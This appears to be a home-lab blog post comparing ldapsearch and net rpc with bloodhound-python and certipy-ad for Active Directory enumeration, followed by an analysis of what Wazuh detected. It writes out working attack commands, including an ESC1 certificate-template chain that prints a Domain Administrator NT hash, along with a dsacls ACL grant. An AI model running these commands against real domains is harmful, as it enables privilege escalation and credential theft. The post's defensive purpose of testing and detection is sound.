Old Kit, New Kit Part 11: AD Enumeration, BloodHound and Certipy vs ldapsearch and net
Every other post in this series has run against a target that was already sitting on the lab range. This one needed a target that didn’t exist yet. None of the existing boxes were a domain controller, and the whole point of this pair — ldapsearch/net rpc against bloodhound-python/certipy-ad — only means anything against a real Active Directory forest. So a fresh Windows Server 2022 box got promoted to one: DC01, a real contoso.local forest, holding every FSMO role a single fresh DC would. On top of it sit three deliberately vulnerable objects that mirror the outline’s own predicted detection angle — a Kerberoastable service account, an AS-REP-roastable one, and a multi-hop ACL chain — plus an Enterprise CA serving a certificate template with all four textbook ESC1 misconfigurations genuinely present, independently verified attribute by attribute rather than assumed.
The starting credential throughout is j.smith@contoso.local / Autumn2026! — a member of a custom IT-Helpdesk group and nothing else. No admin rights, no obviously interesting group membership if you just list what the account belongs to. That’s the point: it’s the realistic shape of a freshly-landed low-priv foothold, not a handed-over admin login, and the question for both passes is how much of what’s actually reachable from that account each toolset can actually show you.
Classic pass: ldapsearch and net rpc
Anonymous LDAP bind gets refused outright — “a successful bind must be completed” — which is a secure default working as intended, not a finding against anything. Authenticated as j.smith, plain LDAP and Samba’s RPC tools get through everything you’d expect quickly: all 7 real accounts, all 53 groups including the custom IT-Helpdesk group, and — sitting right there in a servicePrincipalName=* filter alongside the routine machine SPNs for DC01$ and krbtgt — svc-sql’s MSSQLSvc/sql01.contoso.local:1433 SPN, obviously Kerberoastable to anyone who knows to look for a service account with an SPN set. Total time for this pass: about five minutes.
$ ldapsearch -x -H ldap://10.10.10.55 -D "j.smith@contoso.local" -w 'Autumn2026!' \
-b "DC=contoso,DC=local" "(servicePrincipalName=*)" sAMAccountName servicePrincipalName
Then the actual attempt to chase down the planted ACL chain:
$ net rpc group members "Backup Operators" -U 'j.smith%Autumn2026!' -S 10.10.10.55
Empty. Nothing comes back. That’s correct behaviour, not a bug in the tool — j.smith isn’t a member of Backup Operators. IT-Helpdesk has GenericAll rights over the group object itself, which is a completely different thing, and it’s invisible to anything that only reads group membership. Seeing it requires reading the group’s own security descriptor — dsacls, or parsing nTSecurityDescriptor by hand — and no real operator is going to think to run that against all 53 groups on the off chance one of them has an interesting ACE sitting on it. The same blind spot catches svc-backup’s AS-REP-roastable flag: it’s real, it’s sitting on the account right now, and it’s completely invisible unless you already know to write the specific userAccountControl:1.2.840.113556.1.4.803:=4194304 LDAP matching-rule filter by hand.
Fast, correct as far as it goes, and structurally unable to see either of the more interesting things planted in this domain.
Modern pass: bloodhound-python and certipy-ad
First, a Kali packaging gotcha worth a line on its own. certipy-ad (5.1.0-0kali1) was already installed, but which certipy came back empty — the actual binary is named certipy-ad, not certipy. apt’s command-not-found helper suggested installing python3-certipy instead, an unrelated generic certificate-parsing library that shares nothing but a name, and its install attempt nearly clobbered the real tool over a dpkg file conflict before getting caught. bloodhound-python (the legacy ingestor, v1.9.0) was already present and needed no fixing.
$ bloodhound-python -u j.smith -p 'Autumn2026!' -d contoso.local -ns 10.10.10.55 -c All --zip
Twelve seconds. Seven users, 53 groups, two GPOs, one OU, nineteen containers, one computer, zero trusts. One honest hiccup along the way, worth keeping rather than smoothing over: it tried Kerberos authentication first and failed on a DNS-resolution quirk — impacket’s raw Kerberos socket call used the OS resolver instead of the -ns hint given to the tool — and silently fell back to NTLM, completing the entire collection anyway. A good contrast against how brittle a fully manual workflow would be hitting the same DNS quirk. Session enumeration on DC01 itself returned a clean “access denied, likely a patched OS” — expected, and not a failure of anything.
Both of the classic pass’s structural misses close automatically, for free, reading straight off the collected JSON:
$ jq '.data[] | select(.Properties.name=="SVC-SQL@CONTOSO.LOCAL") | .Properties.hasspn' users.json
true
$ jq '.data[] | select(.Properties.name=="SVC-BACKUP@CONTOSO.LOCAL") | .Properties.dontreqpreauth' users.json
true
No LDAP matching-rule OID needed to be known or hand-written for either one.
The ACL side took a genuinely unplanned detour. The first collection showed no IT-Helpdesk → Backup Operators edge at all — nothing in the Aces array for the group but the expected defaults (Domain Admins, Enterprise Admins, Administrators). That initially looked like either a tool miss or a build that hadn’t actually persisted. It turned out to be neither: Backup Operators is one of Windows’ AdminSDHolder-protected groups, and the SDProp background process — which runs roughly hourly, on the PDC emulator, which is DC01 itself — had already reset the group’s security descriptor back to its hard-coded template sometime between the original build and this test, silently stripping the planted IT-Helpdesk:GA grant along with it.
$ Get-ADGroup "Backup Operators" -Properties adminCount | Select adminCount
adminCount
----------
1
adminCount: 1 is the fingerprint of SDProp having touched an object. Re-applying the grant and immediately re-running a scoped collection before the next SDProp cycle could fire confirmed it cleanly:
$ dsacls "CN=Backup Operators,CN=Builtin,DC=contoso,DC=local" /G "CONTOSO\IT-Helpdesk:GA"
$ bloodhound-python -u j.smith -p 'Autumn2026!' -d contoso.local -ns 10.10.10.55 -c ACL,Group,ObjectProps --zip
{"RightName": "GenericAll", "PrincipalSID": "S-1-5-21-...-1106", "PrincipalType": "Group"}
That SID is IT-Helpdesk’s own — the edge is real, and bloodhound-python was a faithful mirror of the live ACL state the whole time, not the source of the earlier miss. It’s a useful finding for both sides of this: abusing a protected built-in group via ACL is a narrow, time-boxed opportunity in real AD, not a durable backdoor, which matters to an attacker planning the window and to a defender who might not realise SDProp is quietly doing this kind of protective cleanup on its own.
Then certipy, in one command:
$ certipy-ad find -u j.smith@contoso.local -p 'Autumn2026!' -dc-ip 10.10.10.55 -vulnerable -stdout
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication
VulnerableUserTemplate flagged as ESC1, immediately — the identical conclusion that took three separate raw AD attributes (msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, the EKU) plus a standalone dsacls check to independently verify by hand during the original build.
And then it goes further than detection. This is the headline result of the pair:
$ certipy-ad req -u j.smith@contoso.local -p 'Autumn2026!' -dc-ip 10.10.10.55 \
-target 10.10.10.55 -ca contoso-DC01-CA -template VulnerableUserTemplate \
-upn administrator@contoso.local
[*] Successfully requested certificate
$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.55
[*] Using principal: administrator@contoso.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@contoso.local': 186f5176db2c519a7b29b47a5437a4ad
Certificate issued in about a second, PKINIT authentication with it retrieved the real Domain Administrator NT hash, and the whole chain reproduced identically on a second run for reliability. Full domain compromise from a plain Domain Users-level starting account, two commands, no manual CSR crafting and no clicking through certreq/certutil GUIs by hand — the state a real attacker armed with certipy-ad find’s own output would reach in minutes.
What Wazuh actually saw
Pulling this apart needed two false starts first, both worth naming rather than skipping past. alerts.json is JSONL — one full alert object per line — not the multi-line block format alerts.log uses, and the awk -v RS="" habit carried over from earlier posts’ alerts.log queries silently dumped the entire unfiltered file instead of filtering anything, since with no blank lines the whole file became one record. Plain grep/jq per line fixed that. Then the same UTC/BST offset this series has already hit twice, in Parts 5 and 6: bloodhound-python’s own output filenames are timestamped in Kali1’s local BST, not UTC, so a query window built straight off those filenames landed a full hour late and came back with a real but misleading zero results. date and date -u run side by side on Kali1 confirmed the hour of drift; the corrected window (~10:20–11:10 UTC) returned 361 real alerts for DC01.
Most of that volume is routine SSH session noise from running the commands above — logon/logoff pairs, nothing attack-shaped. The specific findings sit underneath it.
Eighteen 4769 events (Kerberos TGS requested) break down as 17 for DC01$ and one for krbtgt. Zero for svc-sql’s SPN. Worth being precise about why: this pass only ever got as far as identifying svc-sql as Kerberoastable — both tools flagged it, nothing here actually requested a ticket against it, since that needs a dedicated Kerberoasting tool out of scope for an enumeration comparison. Enumeration-confirmed isn’t the same as exploited, unlike the ESC1 chain, which went all the way to a real hash.
One 4735 event — “a security-enabled group was changed”, Wazuh rule 60147, correctly MITRE-tagged T1484 Domain Policy Modification, level 5 — is an exact match for the dsacls re-application after AdminSDHolder wiped the original grant: Subject: Administrator, Group: Backup Operators, timestamped 10:56:40 UTC. It’s the single most specific, cleanly-classified, correctly-mapped detection the whole test produced — and it’s not the enumeration or the ESC1 exploitation. It’s the workaround for a lab-maintenance problem that had nothing to do with either tool.
Two hypotheses got investigated and refuted rather than dropped quietly. Four 16384 events looked like a plausible CAPI2 certificate-chain trace tied to certipy’s PKINIT authentication; the full alert bodies show all four are Windows’ Software Protection service scheduling its own routine licensing recheck, unrelated. And two “IIS NetworkCleartext Logon Success” alerts (rule 60200) looked like j.smith’s LDAP simple bind sending a password in the clear — until checking that DC01 has no IIS installed at all, which was the actual tell. Both alerts are sshd.exe logging in as Administrator over SSH, Logon Type 8, which Windows classifies as NetworkCleartext internally regardless of the actual protocol behind it. Same rule-labeling-imprecision theme this series already found in Parts 7 and 10, a new instance of it via SSH rather than RDP.
The generic NTLM pass-the-hash heuristic (rules 92652/92657) fired eight times across ldapsearch, net rpc, and both bloodhound-python runs, consistent with the tool’s own confirmed NTLM fallback — and the canned “verify X is allowed to perform RDP” line in 92657 showed up with three different hostname substitutions across those hits: kali1, KALI1, and DC01.contoso.local. None of the sessions it fired on were RDP.
Last: auditpol confirms Kerberos ticket auditing (4768/4769/4771) genuinely is on by default on a fresh AD DS install, which cut against my own assumption going in — but Certification Services auditing is confirmed off, never explicitly enabled during the build. That means the ESC1 exploitation itself, the certificate issuance and the PKINIT authentication with it, left no CA-side audit trail at all.
Summary
| Aspect | ldapsearch / net rpc | bloodhound-python / certipy-ad |
|---|---|---|
| Time to enumerate | ~5 minutes | ~12 seconds |
| Users, groups, SPNs | Found all of it | Found all of it |
| AS-REP roastable flag | Missed entirely | Auto-flagged (dontreqpreauth: true) |
| ACL-based attack path | Structurally invisible (empty group-members query) | Auto-flagged (GenericAll edge, once SDProp’s reset was worked around) |
| ESC1 template | Not checked (no tooling for it) | Auto-flagged, then fully exploited to a real Administrator hash |
| Loudest, most precise Wazuh detection | — | An incidental 4735/T1484 event from the ACL workaround, not the enumeration or the exploit |
The actual verdict
This is the clearest “modern tooling changes what’s practically discoverable” result in the series so far, and it’s a difference in kind rather than degree. ldapsearch and net rpc can list precisely the same underlying objects bloodhound-python collects — same users, same groups, same SPNs — but ACL-based attack paths and certificate-template misconfigurations are effectively invisible to anything that only reads membership and attributes. BloodHound-style collection and certipy’s purpose-built template analysis surface both automatically, with no custom filters to write, and certipy goes one step further than any of the other pairs in this series by carrying straight through from detection into full exploitation in the same tool.
The AdminSDHolder detour is the bonus finding, distinct from anything the outline predicted: a real AD background process quietly undid a deliberately-planted test condition hours after it was built, which is exactly the kind of thing that makes this lab behave like an actual domain rather than a static prop, and it’s a genuinely useful operational fact for red and blue teams alike — a protected group’s ACE is a narrow window, not a standing backdoor.
And the closing note is the one worth carrying into the series verdict. Every other pair in this series has asked whether the modern tool is louder or quieter than the classic one. Here, the loudest and most precisely-classified alert in the entire test came from neither. It came from re-running a cleanup command to work around a lab-maintenance problem. Sometimes the thing a defender’s ruleset catches cleanest isn’t the attack at all — it’s whatever the attacker had to do to keep the attack working.